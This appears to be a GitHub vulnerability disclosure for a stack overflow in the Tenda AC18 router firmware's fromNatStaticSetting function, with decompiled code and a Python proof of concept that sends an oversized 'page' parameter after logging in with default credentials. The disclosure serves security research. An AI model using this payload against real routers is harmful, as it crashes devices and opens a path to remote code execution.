

main ▾

...

[Router-vuls](#) / [Tenda](#) / [AC18](#) / fromNatStaticSetting.md

CPSeek Create fromNatStaticSetting.md

[History](#)

1 contributor



74 lines (55 sloc) | 1.92 KB

...

## Tenda AC18 stack overflow vulnerability

### \* Version

V15.03.05.19\_multi ac18\_kf\_V15.03.05.19(6318\_).cn.bin)

### \* Firmware

<https://www.tenda.com.cn/download/detail-2683.html>

### \* Vulnerability Detail

In function fromNatStaticSetting, the content obtained by the program from the parameter "page" is passed to local\_1c, and then the local\_1c is directly copied into the acStack288 stack through the sprintf function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

```
void fromNatStaticSetting(undefined4 param_1)

{
    int iVar1;
    char acStack288 [256];
    undefined4 local_20;
```

```

undefined4 local_1c;
char *local_18;
undefined4 local_14;

local_14 = FUN_0002ba8c(param_1,"entrys",&DAT_000e5718);
local_18 = (char *)FUN_0002ba8c(param_1,"op",&DAT_000e5720);
FUN_0004eaf0("adv.snat",local_14,0x7e);
local_1c = FUN_0002ba8c(param_1,"page",&DAT_000e5738);
sprintf(acStack288,"nat_static.asp?page=%s",local_1c); //here is overflow
iVar1 = strncmp(local_18,"add",3);
if ((iVar1 != 0) && (iVar1 = strncmp(local_18,"edit",4), iVar1 != 0)) {
    local_20 = FUN_0002ba8c(param_1,"isoncheck",&DAT_000e576c);
    SetValue("adv.snat.en",local_20);
}
iVar1 = CommitCfm();
if (iVar1 != 0) {
    PostMsgToNetctrl(0x22);
}
FUN_0002be4c(param_1,acStack288);
return;
}

```

## \* POC

```
import requests
```

```
cmd = b'entrys=' + b'A' * 100 + '&op='
cmd += b'A'* 0x100 + '&page=' + 'A' * 800
```

```
url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/NatStaticSetting/?" + cmd
```

```
data = {
    "username": "admin",
    "password": "admin",
}
```

```
def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)
```

```
attack()
```

